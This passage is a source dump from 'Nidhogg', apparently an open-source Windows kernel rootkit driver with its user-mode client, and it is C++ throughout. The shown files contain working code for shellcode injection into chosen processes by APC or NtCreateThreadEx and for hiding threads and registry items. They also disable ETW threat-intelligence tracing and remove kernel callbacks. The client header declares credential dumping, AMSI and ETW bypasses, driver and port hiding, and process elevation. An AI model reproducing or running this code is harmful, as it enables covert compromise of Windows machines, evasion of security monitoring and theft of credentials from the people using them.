92 | ULONG GetProtectedKeysCount() { return this->ProtectedItems.Keys.KeysCount; }
93 | ULONG GetProtectedValuesCount() { return this->ProtectedItems.Values.ValuesCount; }
94 | ULONG GetHiddenKeysCount() { return this->HiddenItems.Keys.KeysCount; }
95 | ULONG GetHiddenValuesCount() { return this->HiddenItems.Values.ValuesCount; }
96 | };
97 |
98 | inline RegistryUtils* NidhoggRegistryUtils;
99 |
100 | NTSTATUS OnRegistryNotify(PVOID context, PVOID arg1, PVOID arg2);
101 |
--------------------------------------------------------------------------------
/Nidhogg/ScriptManager.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "ScriptManager.h"
3 |
4 | ScriptManager::ScriptManager() {
5 | for (USHORT i = 0; i < AMOUNT_OF_PARSERS; i++) {
6 | parsers[i].Handler = nullptr;
7 | }
8 |
9 | __try {
10 | parsers[(USHORT)ParserOpcode::Process] = { (USHORT)ParserOpcode::Process, new ProcessParser() };
11 | parsers[(USHORT)ParserOpcode::Thread] = { (USHORT)ParserOpcode::Thread, new ThreadParser() };
12 | parsers[(USHORT)ParserOpcode::Module] = { (USHORT)ParserOpcode::Module, new ModuleParser() };
13 | parsers[(USHORT)ParserOpcode::Driver] = { (USHORT)ParserOpcode::Driver, new DriverParser() };
14 | parsers[(USHORT)ParserOpcode::File] = { (USHORT)ParserOpcode::File, new FileParser() };
15 | parsers[(USHORT)ParserOpcode::Reg] = { (USHORT)ParserOpcode::Reg, new RegistryParser() };
16 | parsers[(USHORT)ParserOpcode::Patch] = { (USHORT)ParserOpcode::Patch, new PatchParser() };
17 | parsers[(USHORT)ParserOpcode::Shinject] = { (USHORT)ParserOpcode::Shinject, new ShellcodeInjectionParser() };
18 | parsers[(USHORT)ParserOpcode::Dllinject] = { (USHORT)ParserOpcode::Dllinject, new DllInjectionParser() };
19 | parsers[(USHORT)ParserOpcode::Callbacks] = { (USHORT)ParserOpcode::Callbacks, new CallbacksParser() };
20 | parsers[(USHORT)ParserOpcode::Etwti] = { (USHORT)ParserOpcode::Etwti, new EtwTiParser() };
21 | parsers[(USHORT)ParserOpcode::Port] = { (USHORT)ParserOpcode::Port, new NetworkParser() };
22 | }
23 | __except (EXCEPTION_EXECUTE_HANDLER) {
24 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
25 | }
26 | }
27 |
28 | ScriptManager::~ScriptManager() {
29 | for (USHORT i = 0; i < AMOUNT_OF_PARSERS; i++) {
30 | if (parsers[i].Handler) {
31 | delete parsers[i].Handler;
32 | parsers[i].Handler = nullptr;
33 | }
34 | }
35 | }
36 |
37 | /*
38 | * Description:
39 | * ExecuteScript is responsible for executing a Nidhogg script and returning the result of the execution.
40 | *
41 | * Parameters:
42 | * @Script [PUCHAR] -- Script to execute.
43 | * @ScriptSize [ULONG] -- Size of the script.
44 | *
45 | * Returns:
46 | * @status [NTSTATUS] -- Result of the script execution or error if failed.
47 | */
48 | NTSTATUS ScriptManager::ExecuteScript(PUCHAR Script, ULONG ScriptSize) {
49 | ULONG offset = 0;
50 | NTSTATUS status = STATUS_SUCCESS;
51 |
52 | // Checking minimum size.
53 | if (ScriptSize < MINIMUM_SCRIPT_SIZE)
54 | return STATUS_INVALID_BUFFER_SIZE;
55 |
56 | // Checking signature.
57 | if (RtlCompareMemory(Script, SIGNATURE, sizeof(SIGNATURE)) != sizeof(SIGNATURE))
58 | return STATUS_INVALID_PARAMETER;
59 |
60 | // Checking commands size.
61 | ULONG commandsSize = Script[4];
62 |
63 | if (commandsSize == 0)
64 | return STATUS_INVALID_BUFFER_SIZE;
65 |
66 | for (ULONG i = 0; i < commandsSize; i++) {
67 | status = ExecuteCommand(Script, ScriptSize, FIRST_COMMAND_OFFSET + offset + i, &offset);
68 |
69 | if (!NT_SUCCESS(status))
70 | break;
71 | }
72 | return status;
73 | }
74 |
75 | /*
76 | * Description:
77 | * ExecuteCommand is responsible for executing a single command from script.
78 | *
79 | * Parameters:
80 | * @data [PUCHAR] -- Script to execute.
81 | * @dataSize [ULONG] -- Size of the script.
82 | * @index [ULONG] -- Current index in the script.
83 | * @outOffset [ULONG*] -- The new offset to change the index by.
84 | *
85 | * Returns:
86 | * @status [NTSTATUS] -- Result of the script execution or error if failed.
87 | */
88 | NTSTATUS ScriptManager::ExecuteCommand(PUCHAR data, ULONG dataSize, ULONG index, ULONG* outOffset) {
89 | USHORT commandType = data[index];
90 |
91 | if (commandType > AMOUNT_OF_PARSERS - 1)
92 | return STATUS_INVALID_PARAMETER;
93 |
94 | *outOffset += 1;
95 | USHORT argsNumber = data[index + 1];
96 |
97 | if (argsNumber > 0) {
98 | *outOffset += 1;
99 | argsNumber = (ParserOpcode)commandType == ParserOpcode::Patch ? argsNumber : argsNumber - 1;
100 |
101 | // offset + 2 because of the args number and the command type.
102 | return this->parsers[commandType].Handler->ExecuteCommand(argsNumber, data, dataSize, (size_t)index + 2, outOffset);
103 | }
104 |
105 | return STATUS_INVALID_PARAMETER;
106 | }
--------------------------------------------------------------------------------
/Nidhogg/ScriptManager.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "Parsers.h"
4 |
5 | // NDHG signature.
6 | constexpr UCHAR SIGNATURE[] = { 0x4e, 0x44, 0x48, 0x47 };
7 | constexpr size_t MINIMUM_SCRIPT_SIZE = sizeof(SIGNATURE) + 3;
8 | constexpr size_t FIRST_COMMAND_OFFSET = sizeof(SIGNATURE) + 1;
9 | constexpr USHORT AMOUNT_OF_PARSERS = 12;
10 |
11 | struct ScriptInformation {
12 | PVOID Script;
13 | ULONG ScriptSize;
14 | };
15 |
16 | struct ParserItem {
17 | USHORT Opcode;
18 | BaseParser* Handler;
19 | };
20 |
21 | class ScriptManager
22 | {
23 | private:
24 | ParserItem parsers[AMOUNT_OF_PARSERS];
25 | NTSTATUS ExecuteCommand(PUCHAR data, ULONG dataSize, ULONG index, ULONG* outOffset);
26 |
27 | public:
28 | void* operator new(size_t size) {
29 | return AllocateMemory(size, false);
30 | }
31 |
32 | void operator delete(void* p) {
33 | if (p)
34 | ExFreePoolWithTag(p, DRIVER_TAG);
35 | }
36 |
37 | ScriptManager();
38 | ~ScriptManager();
39 |
40 | NTSTATUS ExecuteScript(PUCHAR Script, ULONG ScriptSize);
41 | };
42 |
43 |
--------------------------------------------------------------------------------
/Nidhogg/ShellcodeInjectionParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "ShellcodeInjectionParser.h"
3 | #include "MemoryUtils.hpp"
4 | #include "ProcessUtils.hpp"
5 |
6 | ShellcodeInjectionParser::ShellcodeInjectionParser() {
7 | this->paramsSize = nullptr;
8 | this->optionsSize = 2;
9 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
10 |
11 | if (!this->options)
12 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
13 |
14 | this->paramsSize = AllocateMemory(MAX_PARAMS * sizeof(SIZE_T));
15 |
16 | if (!this->paramsSize) {
17 | ExFreePoolWithTag(this->options, DRIVER_TAG);
18 | this->options = nullptr;
19 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
20 | }
21 |
22 | this->options[0] = { Options::APC, { 6, { ArgType::ULong, ArgType::VoidPtr, ArgType::ULong,
23 | ArgType::VoidPtr, ArgType::VoidPtr, ArgType::VoidPtr } } };
24 | this->options[1] = { Options::Thread, { 6, { ArgType::ULong, ArgType::VoidPtr,
25 | ArgType::ULong, ArgType::VoidPtr, ArgType::VoidPtr, ArgType::VoidPtr } } };
26 | }
27 |
28 | ShellcodeInjectionParser::~ShellcodeInjectionParser() {
29 | if (this->paramsSize) {
30 | ExFreePoolWithTag(this->paramsSize, DRIVER_TAG);
31 | this->paramsSize = nullptr;
32 | }
33 | }
34 |
35 | /*
36 | * Description:
37 | * Execute is responsible for executing a command and returning its value.
38 | *
39 | * Parameters:
40 | * @commandId [Options] -- Command to run.
41 | * @args [PVOID*] -- Array of args to send to the command.
42 | *
43 | * Returns:
44 | * @status [NTSTATUS] -- Result of the command.
45 | */
46 | NTSTATUS ShellcodeInjectionParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
47 | ShellcodeInformation shellcodeInfo{};
48 | NTSTATUS status = STATUS_SUCCESS;
49 |
50 | shellcodeInfo.Pid = *(ULONG*)args[0];
51 |
52 | if (!IsValidPid(shellcodeInfo.Pid))
53 | return STATUS_INVALID_PARAMETER;
54 |
55 | shellcodeInfo.Shellcode = args[1];
56 | shellcodeInfo.ShellcodeSize = (ULONG)this->paramsSize[0];
57 |
58 | if (args[2]) {
59 | shellcodeInfo.Parameter1 = args[2];
60 | shellcodeInfo.Parameter1Size = (ULONG)this->paramsSize[1];
61 |
62 | if (args[3]) {
63 | shellcodeInfo.Parameter2 = args[3];
64 | shellcodeInfo.Parameter2Size = (ULONG)this->paramsSize[2];
65 |
66 | if (args[4]) {
67 | shellcodeInfo.Parameter3 = args[4];
68 | shellcodeInfo.Parameter3Size = (ULONG)this->paramsSize[3];
69 | }
70 | }
71 | }
72 |
73 | switch (commandId) {
74 | case Options::APC:
75 | {
76 | shellcodeInfo.Type = APCInjection;
77 |
78 | if (!Features.ApcInjection) {
79 | status = STATUS_UNSUCCESSFUL;
80 | break;
81 | }
82 |
83 | status = NidhoggMemoryUtils->InjectShellcodeAPC(&shellcodeInfo);
84 | break;
85 | }
86 | case Options::Thread:
87 | {
88 | shellcodeInfo.Type = NtCreateThreadExInjection;
89 |
90 | if (!Features.CreateThreadInjection) {
91 | status = STATUS_UNSUCCESSFUL;
92 | break;
93 | }
94 |
95 | status = NidhoggMemoryUtils->InjectShellcodeThread(&shellcodeInfo);
96 | break;
97 | }
98 | default:
99 | {
100 | status = STATUS_NOT_IMPLEMENTED;
101 | break;
102 | }
103 | }
104 |
105 | return status;
106 | }
107 |
108 | /*
109 | * Description:
110 | * ParseArgs is responsible for parsing the arguments.
111 | *
112 | * Parameters:
113 | * @data [PUCHAR] -- The raw script data.
114 | * @dataSize [size_t] -- Size if the raw script data.
115 | * @index [size_t] -- Index to start parsing the args and command from.
116 | * @argsNumber [USHORT] -- Number of arguments to run.
117 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command.
118 | * @OutArgs [PVOID*] -- Output arguments.
119 | *
120 | * Returns:
121 | * @status [NTSTATUS] -- Whether the args are parsed or error.
122 | */
123 | NTSTATUS ShellcodeInjectionParser::ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId,
124 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) {
125 | ULONG optionIndex = 0;
126 | ULONG intArg = 0;
127 | USHORT argIndex = 0;
128 | NTSTATUS status = STATUS_SUCCESS;
129 |
130 | // Validating the opcode size.
131 | if (dataSize < index)
132 | return STATUS_INVALID_BUFFER_SIZE;
133 |
134 | if (data[index] != 1)
135 | return STATUS_INVALID_PARAMETER;
136 |
137 | if (dataSize < index + 1)
138 | return STATUS_INVALID_BUFFER_SIZE;
139 |
140 | // Check the option exists for the command type.
141 | Options option = (Options)data[index + 1];
142 | status = STATUS_NOT_FOUND;
143 |
144 | for (optionIndex = 0; optionIndex < optionsSize; optionIndex++) {
145 | if (this->options[optionIndex].OptionOpcode == option) {
146 | status = STATUS_SUCCESS;
147 | break;
148 | }
149 | }
150 |
151 | if (!NT_SUCCESS(status))
152 | return status;
153 |
154 | *commandId = option;
155 |
156 | if (this->options[optionIndex].ArgMetadata.ArgsNumber != argsNumber)
157 | return STATUS_INVALID_PARAMETER;
158 |
159 | // opcode size + 1 (opcode).
160 | ULONG addedOffset = 2;
161 | PVOID currentArg = NULL;
162 | ULONG argSize = 0;
163 | ULONG currentIndex = 0;
164 |
165 | for (argIndex = 0; argIndex < argsNumber; argIndex++) {
166 | currentIndex = (ULONG)index + addedOffset + argIndex;
167 |
168 | if (dataSize < currentIndex) {
169 | status = STATUS_INVALID_BUFFER_SIZE;
170 | break;
171 | }
172 |
173 | argSize = data[currentIndex];
174 |
175 | // Validating the size.
176 | if (argSize > dataSize - currentIndex) {
177 | status = STATUS_INVALID_BUFFER_SIZE;
178 | break;
179 | }
180 |
181 | if (argIndex > 0) {
182 | this->paramsSize[argIndex - 1] = argSize;
183 | }
184 |
185 | currentArg = AllocateMemory(argSize);
186 |
187 | if (!currentArg) {
188 | status = STATUS_INSUFFICIENT_RESOURCES;
189 | break;
190 | }
191 | RtlZeroMemory(currentArg, argSize);
192 |
193 | __try {
194 | RtlCopyMemory(currentArg, &data[currentIndex + 1], argSize);
195 | }
196 | __except (EXCEPTION_EXECUTE_HANDLER) {
197 | status = STATUS_ABANDONED;
198 | break;
199 | }
200 |
201 | // Validating the type.
202 | switch (this->options[optionIndex].ArgMetadata.Types[argIndex]) {
203 | case ArgType::ULong:
204 | {
205 | for (DWORD j = 0, factor = pow(10, argSize - 1); j < argSize; j++, factor /= 10) {
206 | if (isdigit(((char*)currentArg)[j]) == 0) {
207 | status = STATUS_INVALID_PARAMETER;
208 | break;
209 | }
210 | intArg += convertDigit(((char*)currentArg)[j]) * factor;
211 | }
212 | *(ULONG*)currentArg = intArg;
213 | intArg = 0;
214 | break;
215 | }
216 | case ArgType::CharPtr:
217 | case ArgType::WCharPtr:
218 | {
219 | for (DWORD j = 0; j < argSize; j++) {
220 | if (!isChar(((char*)currentArg)[j])) {
221 | status = STATUS_INVALID_PARAMETER;
222 | break;
223 | }
224 | }
225 | break;
226 | }
227 | }
228 |
229 | if (!NT_SUCCESS(status))
230 | break;
231 |
232 | OutArgs[argIndex] = currentArg;
233 | addedOffset += argSize;
234 | }
235 |
236 | if (!NT_SUCCESS(status)) {
237 | if (currentArg)
238 | ExFreePoolWithTag(currentArg, DRIVER_TAG);
239 |
240 | if (argIndex > 0) {
241 | for (USHORT i = 0; i < argIndex; i++) {
242 | if (OutArgs[i])
243 | ExFreePoolWithTag(OutArgs[i], DRIVER_TAG);
244 | }
245 | }
246 | }
247 |
248 | *outOffset += addedOffset;
249 | return status;
250 | }
--------------------------------------------------------------------------------
/Nidhogg/ShellcodeInjectionParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | constexpr ULONG MAX_PARAMS = 4;
6 |
7 | class ShellcodeInjectionParser : public BaseParser
8 | {
9 | private:
10 | SIZE_T* paramsSize;
11 |
12 | protected:
13 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
14 | NTSTATUS ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId,
15 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) override;
16 |
17 | public:
18 | ShellcodeInjectionParser();
19 | ~ShellcodeInjectionParser();
20 | };
21 |
22 |
--------------------------------------------------------------------------------
/Nidhogg/ThreadParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "ThreadParser.h"
3 | #include "ProcessUtils.hpp"
4 |
5 | ThreadParser::ThreadParser() {
6 | this->optionsSize = 5;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | this->options[0] = { Options::Add, { 1, { ArgType::ULong } } };
13 | this->options[1] = { Options::Remove, { 1, { ArgType::ULong } } };
14 | this->options[2] = { Options::Clear, { 0, {} } };
15 | this->options[3] = { Options::Hide, { 1, { ArgType::ULong } } };
16 | this->options[4] = { Options::Unhide, { 1, { ArgType::ULong } } };
17 | }
18 |
19 | /*
20 | * Description:
21 | * Execute is responsible for executing a command and returning its value.
22 | *
23 | * Parameters:
24 | * @commandId [Options] -- Command to run.
25 | * @args [PVOID*] -- Array of args to send to the command.
26 | *
27 | * Returns:
28 | * @status [NTSTATUS] -- Result of the command.
29 | */
30 | NTSTATUS ThreadParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
31 | ULONG tid = 0;
32 | NTSTATUS status = STATUS_SUCCESS;
33 |
34 | if (commandId != Options::Clear) {
35 | tid = *(ULONG*)args[0];
36 |
37 | if (tid == 0)
38 | return STATUS_INVALID_PARAMETER;
39 | }
40 |
41 | switch (commandId) {
42 | case Options::Add:
43 | {
44 | if (!Features.ThreadProtection) {
45 | status = STATUS_UNSUCCESSFUL;
46 | break;
47 | }
48 |
49 | if (NidhoggProccessUtils->GetProtectedThreadsCount() == MAX_TIDS) {
50 | status = STATUS_TOO_MANY_CONTEXT_IDS;
51 | break;
52 | }
53 |
54 | if (NidhoggProccessUtils->FindThread(tid))
55 | break;
56 |
57 | if (!NidhoggProccessUtils->AddThread(tid))
58 | status = STATUS_UNSUCCESSFUL;
59 | break;
60 | }
61 | case Options::Remove:
62 | {
63 | if (!Features.ThreadProtection) {
64 | status = STATUS_UNSUCCESSFUL;
65 | break;
66 | }
67 |
68 | if (NidhoggProccessUtils->GetProtectedThreadsCount() == 0) {
69 | status = STATUS_NOT_FOUND;
70 | break;
71 | }
72 |
73 | if (!NidhoggProccessUtils->RemoveThread(tid))
74 | status = STATUS_NOT_FOUND;
75 | break;
76 | }
77 | case Options::Clear:
78 | {
79 | NidhoggProccessUtils->ClearProtectedThreads();
80 | break;
81 | }
82 | case Options::Hide:
83 | {
84 | status = NidhoggProccessUtils->HideThread(tid);
85 | break;
86 | }
87 | case Options::Unhide:
88 | {
89 | status = NidhoggProccessUtils->UnhideThread(tid);
90 | break;
91 | }
92 | default:
93 | {
94 | status = STATUS_NOT_IMPLEMENTED;
95 | break;
96 | }
97 | }
98 |
99 | return status;
100 | }
101 |
--------------------------------------------------------------------------------
/Nidhogg/ThreadParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class ThreadParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | ThreadParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/pch.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 |
--------------------------------------------------------------------------------
/Nidhogg/pch.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 |
6 | #include "FastMutex.h"
7 | #include "AutoLock.h"
8 |
9 | #define VALID_USERMODE_MEMORY(MemAddress)(MemAddress > 0 && MemAddress < 0x7FFFFFFFFFFFFFFF)
10 | #define VALID_KERNELMODE_MEMORY(MemAddress)(MemAddress > 0x8000000000000000 && MemAddress < 0xFFFFFFFFFFFFFFFF)
11 |
--------------------------------------------------------------------------------
/NidhoggClient/Nidhogg.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "Nidhogg.h"
3 |
4 | NidhoggInterface::NidhoggInterface() {
5 | this->lastError = NIDHOGG_SUCCESS;
6 | this->hNidhogg = CreateFile(DRIVER_NAME, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
7 |
8 | if (hNidhogg == INVALID_HANDLE_VALUE)
9 | PrintError(NIDHOGG_ERROR_CONNECT_DRIVER);
10 | }
11 |
12 | void NidhoggInterface::PrintError(NidhoggErrorCodes errorCode) {
13 | switch (errorCode) {
14 | case NIDHOGG_GENERAL_ERROR:
15 | std::cout << "[ - ] General error: " << GetLastError() << std::endl;
16 | break;
17 | case NIDHOGG_ERROR_CONNECT_DRIVER:
18 | std::cout << "[ - ] Could not connect to driver: " << GetLastError() << std::endl;
19 | break;
20 | case NIDHOGG_ERROR_DEVICECONTROL_DRIVER:
21 | std::cout << "[ - ] Failed to do operation: " << GetLastError() << std::endl;
22 | break;
23 | case NIDHOGG_INVALID_INPUT:
24 | std::cerr << "[ - ] Invalid input!" << std::endl;
25 | break;
26 | case NIDHOGG_INVALID_OPTION:
27 | std::cerr << "[ - ] Invalid option!" << std::endl;
28 | break;
29 | default:
30 | std::cout << "[ - ] Unknown error: " << GetLastError() << std::endl;
31 | break;
32 | }
33 | }
34 |
35 | NidhoggErrorCodes NidhoggInterface::ExecuteScript(BYTE* script, DWORD scriptSize) {
36 | DWORD bytesReturned;
37 | ScriptInformation scriptInfo{};
38 | NidhoggErrorCodes errorCode = NIDHOGG_SUCCESS;
39 |
40 | if (script == nullptr || scriptSize == 0) {
41 | errorCode = NIDHOGG_INVALID_INPUT;
42 | return errorCode;
43 | }
44 |
45 | scriptInfo.Script = script;
46 | scriptInfo.ScriptSize = scriptSize;
47 |
48 | if (!DeviceIoControl(this->hNidhogg, IOCTL_EXEC_SCRIPT, &scriptInfo, sizeof(scriptInfo), nullptr, 0,
49 | &bytesReturned, nullptr)) {
50 | errorCode = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
51 | }
52 |
53 | return errorCode;
54 | }
55 |
--------------------------------------------------------------------------------
/NidhoggClient/Nidhogg.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "NidhoggIoctls.h"
4 | #include "NidhoggStructs.h"
5 |
6 | constexpr ULONG SYSTEM_PID = 4;
7 | constexpr const wchar_t* DRIVER_NAME = LR"(\\.\Nidhogg)";
8 | constexpr const wchar_t* HKLM_HIVE = LR"(\Registry\Machine)";
9 | constexpr const wchar_t* HKCR_HIVE = LR"(\Registry\Machine\SOFTWARE\Classes)";
10 | constexpr const wchar_t* HKU_HIVE = LR"(\Registry\User)";
11 | constexpr const wchar_t* HKLM = L"HKEY_LOCAL_MACHINE";
12 | constexpr const wchar_t* HKLM_SHORT = L"HKLM";
13 | constexpr const wchar_t* HKU = L"HKEY_USERS";
14 | constexpr const wchar_t* HKU_SHORT = L"HKU";
15 | constexpr const wchar_t* HKCU = L"HKEY_CURRENT_USER";
16 | constexpr const wchar_t* HKCU_SHORT = L"HKCU";
17 | constexpr const wchar_t* HKCR = L"HKEY_CLASSES_ROOT";
18 | constexpr const wchar_t* HKCR_SHORT = L"HKCR";
19 |
20 | class NidhoggInterface {
21 | private:
22 | HANDLE hNidhogg;
23 | NidhoggErrorCodes lastError;
24 |
25 | std::wstring GetHKCUPath();
26 | std::wstring ParseRegistryKey(wchar_t* key);
27 | std::wstring ParsePath(wchar_t* path);
28 |
29 | public:
30 | NidhoggInterface();
31 | ~NidhoggInterface() { CloseHandle(this->hNidhogg); };
32 | bool IsValid() { return this->hNidhogg != INVALID_HANDLE_VALUE; }
33 | NidhoggErrorCodes GetNidhoggLastError() { return this->lastError; }
34 |
35 | void PrintError(NidhoggErrorCodes errorCode);
36 | NidhoggErrorCodes ProcessProtect(DWORD pid);
37 | NidhoggErrorCodes ProcessUnprotect(DWORD pid);
38 | NidhoggErrorCodes ProcessClearAllProtection();
39 | NidhoggErrorCodes ThreadProtect(DWORD tid);
40 | NidhoggErrorCodes ThreadUnprotect(DWORD tid);
41 | NidhoggErrorCodes ThreadClearAllProtection();
42 | NidhoggErrorCodes ProcessHide(DWORD pid);
43 | NidhoggErrorCodes ProcessUnhide(DWORD pid);
44 | NidhoggErrorCodes ThreadHide(DWORD tid);
45 | NidhoggErrorCodes ThreadUnhide(DWORD tid);
46 | NidhoggErrorCodes ProcessElevate(DWORD pid);
47 | NidhoggErrorCodes ProcessSetProtection(DWORD pid, UCHAR signerType, UCHAR signatureSigner);
48 | std::vector QueryProcesses();
49 | std::vector QueryThreads();
50 | NidhoggErrorCodes FileProtect(wchar_t* filePath);
51 | NidhoggErrorCodes FileUnprotect(wchar_t* filePath);
52 | NidhoggErrorCodes FileClearAllProtection();
53 | std::vector QueryFiles();
54 | NidhoggErrorCodes RegistryProtectKey(wchar_t* key);
55 | NidhoggErrorCodes RegistryHideKey(wchar_t* key);
56 | NidhoggErrorCodes RegistryProtectValue(wchar_t* key, wchar_t* valueName);
57 | NidhoggErrorCodes RegistryHideValue(wchar_t* key, wchar_t* valueName);
58 | NidhoggErrorCodes RegistryUnprotectKey(wchar_t* key);
59 | NidhoggErrorCodes RegistryUnhideKey(wchar_t* key);
60 | NidhoggErrorCodes RegistryUnprotectValue(wchar_t* key, wchar_t* valueName);
61 | NidhoggErrorCodes RegistryUnhideValue(wchar_t* key, wchar_t* valueName);
62 | NidhoggErrorCodes RegistryClearAll();
63 | std::vector RegistryQueryProtectedKeys();
64 | std::vector RegistryQueryHiddenKeys();
65 | RegistryQueryResult RegistryQueryProtectedValues();
66 | RegistryQueryResult RegistryQueryHiddenValues();
67 | NidhoggErrorCodes HideDriver(wchar_t* driverPath);
68 | NidhoggErrorCodes UnhideDriver(wchar_t* driverPath);
69 | std::vector DumpCredentials(DesKeyInformation* desKey, NidhoggErrorCodes* status);
70 | NidhoggErrorCodes HideModule(DWORD pid, wchar_t* modulePath);
71 | NidhoggErrorCodes InjectDll(DWORD pid, std::string dllPath, InjectionType injectionType);
72 | NidhoggErrorCodes InjectShellcode(DWORD pid, PVOID shellcode, ULONG shellcodeSize, PVOID parameter1, PVOID parameter2,
73 | PVOID parameter3, InjectionType injectionType, ULONG param1Size = 0, ULONG param2Size = 0, ULONG param3Size = 0);
74 | NidhoggErrorCodes PatchModule(DWORD pid, wchar_t* moduleName, char* functionName, std::vector patch);
75 | NidhoggErrorCodes AmsiBypass(DWORD pid);
76 | NidhoggErrorCodes ETWBypass(DWORD pid);
77 | NidhoggErrorCodes EnableDisableEtwTi(bool enable);
78 | NidhoggErrorCodes DisableCallback(ULONG64 callbackAddress, CallbackType callbackType);
79 | NidhoggErrorCodes RestoreCallback(ULONG64 callbackAddress, CallbackType callbackType);
80 | CmCallbacksList ListRegistryCallbacks(NidhoggErrorCodes* success);
81 | PsRoutinesList ListPsRoutines(CallbackType callbackType, NidhoggErrorCodes* success);
82 | ObCallbacksList ListObCallbacks(CallbackType callbackType, NidhoggErrorCodes* success);
83 | NidhoggErrorCodes HidePort(USHORT portNumber, PortType portType, bool remote);
84 | NidhoggErrorCodes UnhidePort(USHORT portNumber, PortType portType, bool remote);
85 | NidhoggErrorCodes ClearHiddenPorts();
86 | std::vector QueryHiddenPorts();
87 | NidhoggErrorCodes ExecuteScript(BYTE* script, DWORD scriptSize);
88 | };
89 |
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggAntiAnalysis.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "Nidhogg.h"
3 |
4 | NidhoggErrorCodes NidhoggInterface::EnableDisableEtwTi(bool enable) {
5 | DWORD returned;
6 |
7 | if (!DeviceIoControl(this->hNidhogg, IOCTL_ENABLE_DISABLE_ETWTI,
8 | &enable, sizeof(enable),
9 | nullptr, 0, &returned, nullptr))
10 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
11 |
12 | return NIDHOGG_SUCCESS;
13 | }
14 |
15 | NidhoggErrorCodes NidhoggInterface::DisableCallback(ULONG64 callbackAddress, CallbackType callbackType) {
16 | KernelCallback callback{};
17 | DWORD returned;
18 |
19 | callback.CallbackAddress = callbackAddress;
20 | callback.Type = callbackType;
21 | callback.Remove = true;
22 |
23 | if (!DeviceIoControl(this->hNidhogg, IOCTL_REMOVE_RESTORE_CALLBACK,
24 | &callback, sizeof(callback),
25 | nullptr, 0, &returned, nullptr))
26 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
27 |
28 | return NIDHOGG_SUCCESS;
29 | }
30 |
31 | NidhoggErrorCodes NidhoggInterface::RestoreCallback(ULONG64 callbackAddress, CallbackType callbackType) {
32 | KernelCallback callback{};
33 | DWORD returned;
34 |
35 | callback.CallbackAddress = callbackAddress;
36 | callback.Type = callbackType;
37 | callback.Remove = false;
38 |
39 | if (!DeviceIoControl(this->hNidhogg, IOCTL_REMOVE_RESTORE_CALLBACK,
40 | &callback, sizeof(callback),
41 | nullptr, 0, &returned, nullptr))
42 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
43 |
44 | return NIDHOGG_SUCCESS;
45 | }
46 |
47 | CmCallbacksList NidhoggInterface::ListRegistryCallbacks(NidhoggErrorCodes* success) {
48 | CmCallbacksList callbacks{};
49 | DWORD returned;
50 | callbacks.Callbacks = (CmCallback*)malloc(MAX_ROUTINES * sizeof(CmCallback));
51 |
52 | if (!callbacks.Callbacks) {
53 | *success = NIDHOGG_GENERAL_ERROR;
54 | return callbacks;
55 | }
56 | memset(callbacks.Callbacks, 0, MAX_ROUTINES * sizeof(PsRoutine));
57 |
58 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_REGCALLBACKS,
59 | &callbacks, sizeof(callbacks),
60 | &callbacks, sizeof(callbacks), &returned, nullptr)) {
61 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
62 | free(callbacks.Callbacks);
63 | return callbacks;
64 | }
65 | *success = NIDHOGG_SUCCESS;
66 | return callbacks;
67 | }
68 |
69 | PsRoutinesList NidhoggInterface::ListPsRoutines(CallbackType callbackType, NidhoggErrorCodes* success) {
70 | PsRoutinesList routines{};
71 | DWORD returned;
72 | routines.Type = callbackType;
73 | routines.Routines = (PsRoutine*)malloc(MAX_ROUTINES * sizeof(PsRoutine));
74 |
75 | if (!routines.Routines) {
76 | *success = NIDHOGG_GENERAL_ERROR;
77 | return routines;
78 | }
79 | memset(routines.Routines, 0, MAX_ROUTINES * sizeof(PsRoutine));
80 |
81 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_PSROUTINES,
82 | &routines, sizeof(routines),
83 | &routines, sizeof(routines), &returned, nullptr)) {
84 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
85 | free(routines.Routines);
86 | return routines;
87 | }
88 | *success = NIDHOGG_SUCCESS;
89 |
90 | return routines;
91 | }
92 |
93 | ObCallbacksList NidhoggInterface::ListObCallbacks(CallbackType callbackType, NidhoggErrorCodes* success) {
94 | ObCallbacksList callbacks{};
